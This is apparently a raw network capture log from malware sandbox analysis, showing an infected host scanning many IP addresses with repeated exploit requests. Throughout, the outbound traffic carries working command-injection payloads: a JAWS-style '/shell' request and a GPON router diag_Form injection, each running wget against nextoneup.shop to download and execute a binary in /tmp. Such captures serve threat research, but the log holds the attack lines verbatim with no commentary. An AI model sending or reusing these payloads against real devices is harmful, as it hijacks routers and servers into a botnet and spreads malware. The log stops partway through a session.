Apr 14, 2024 04:01:20.484081030 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1588	192.168.2.23	48248	64.72.96.229	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.484611988 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.701040983 CEST	212	IN	HTTP/1.1 302 Found Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:20 GMT Server: lighttpd/1.4.54

Session ID	Source IP	Source Port	Destination IP	Destination Port
1589	192.168.2.23	54860	50.3.212.133	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.501188993 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.703658104 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:20 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1590	192.168.2.23	37148	165.231.65.136	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.622639894 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.948117018 CEST	528	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:20 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1591	192.168.2.23	49462	138.4.38.197	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.631923914 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1592	192.168.2.23	60562	185.130.104.252	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.669905901 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:21.021176100 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:20 GMT Server: Apache/2.4.56 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1593	192.168.2.23	42200	217.171.92.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.674309015 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:21.050765991 CEST	300	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 01:31:03 GMT Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html Content-Length: 56 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>301 Moved Permanently</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1594	192.168.2.23	42276	23.57.40.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.677406073 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:21.056483030 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:20 GMT Date: Sun, 14 Apr 2024 02:01:20 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 34 30 31 63 30 34 35 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 30 26 23 34 36 3b 37 61 30 61 31 63 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 34 30 31 63 30 34 35 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 30 26 23 34 36 3b 37 61 30 61 31 63 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6401c045.1713060080.7a0a1cb<P>https://errors.edgesuite.net/9.6401c045.1713060080.7a0a1cb</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1595	192.168.2.23	56012	23.203.104.93	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.856116056 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:21.090396881 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:20 GMT Date: Sun, 14 Apr 2024 02:01:20 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 31 36 30 31 38 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 30 26 23 34 36 3b 32 39 61 63 34 39 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 31 36 30 31 38 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 30 26 23 34 36 3b 32 39 61 63 34 39 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a16018b8.1713060080.29ac491<P>https://errors.edgesuite.net/9.a16018b8.1713060080.29ac491</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1596	192.168.2.23	57750	107.163.155.109	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.947930098 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:21.273828983 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:21 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1597	192.168.2.23	43228	109.63.164.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.712325096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1598	192.168.2.23	54154	79.45.220.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.712358952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1599	192.168.2.23	57390	52.12.68.41	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.479729891 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.675611019 CEST	395	IN	HTTP/1.1 302 Redirect Content-Type: text/html; charset=UTF-8 Location: http://127.0.0.1:80/RDWeb/Pages/shell Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:22 GMT Content-Length: 160 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 52 44 57 65 62 2f 50 61 67 65 73 2f 73 68 65 6c 6c 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="http://127.0.0.1:80/RDWeb/Pages/shell">here</a></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1600	192.168.2.23	48354	64.72.96.229	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.494476080 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.756563902 CEST	212	IN	HTTP/1.1 302 Found Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:21 GMT Server: lighttpd/1.4.54

Session ID	Source IP	Source Port	Destination IP	Destination Port
1601	192.168.2.23	58496	66.42.87.86	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.503109932 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.722054958 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:22 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1602	192.168.2.23	55062	13.110.173.207	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.515826941 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.753480911 CEST	560	IN	HTTP/1.1 404 Not Found Content-Length: 400 Date: Sun, 14 Apr 2024 02:01:22 GMT Keep-Alive: timeout=5 Connection: keep-alive Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 55 52 4c 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 54 59 4c 45 53 48 45 45 54 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 77 61 72 6f 6f 74 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 55 52 4c 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3c 69 6d 67 20 73 72 63 3d 22 2f 77 61 72 6f 6f 74 2f 73 79 73 74 65 6d 5f 61 72 72 6f 77 2e 67 69 66 22 20 77 69 64 74 68 3d 22 32 31 22 20 68 65 69 67 68 74 3d 22 32 31 22 20 61 6c 74 3d 22 22 20 62 6f 72 64 65 72 3d 22 30 22 3e 0a 09 3c 70 20 63 6c 61 73 73 3d 22 73 79 73 74 65 6d 5f 69 6e 66 6f 22 3e 0a 09 09 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 09 3c 2f 70 3e 0a 09 3c 68 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>404 URL Not Found</title><link rel="STYLESHEET" type="text/css" href="/waroot/style.css"></head><body><h1>URL Not Found</h1><img src="/waroot/system_arrow.gif" width="21" height="21" alt="" border="0"><p class="system_info">The requested URL was not found on this server.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1603	192.168.2.23	56080	23.203.104.93	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.518107891 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.752402067 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:22 GMT Date: Sun, 14 Apr 2024 02:01:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 62 36 30 31 38 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 32 26 23 34 36 3b 33 36 39 65 30 62 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 62 36 30 31 38 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 32 26 23 34 36 3b 33 36 39 65 30 62 39 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8b6018b8.1713060082.369e0b9<P>https://errors.edgesuite.net/9.8b6018b8.1713060082.369e0b9</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1604	192.168.2.23	58998	185.81.3.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:23.005305052 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:23.340820074 CEST	474	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 03:51:46 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 282 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1605	192.168.2.23	53422	219.231.144.142	80

Timestamp	Bytes transferred	Direction	Data
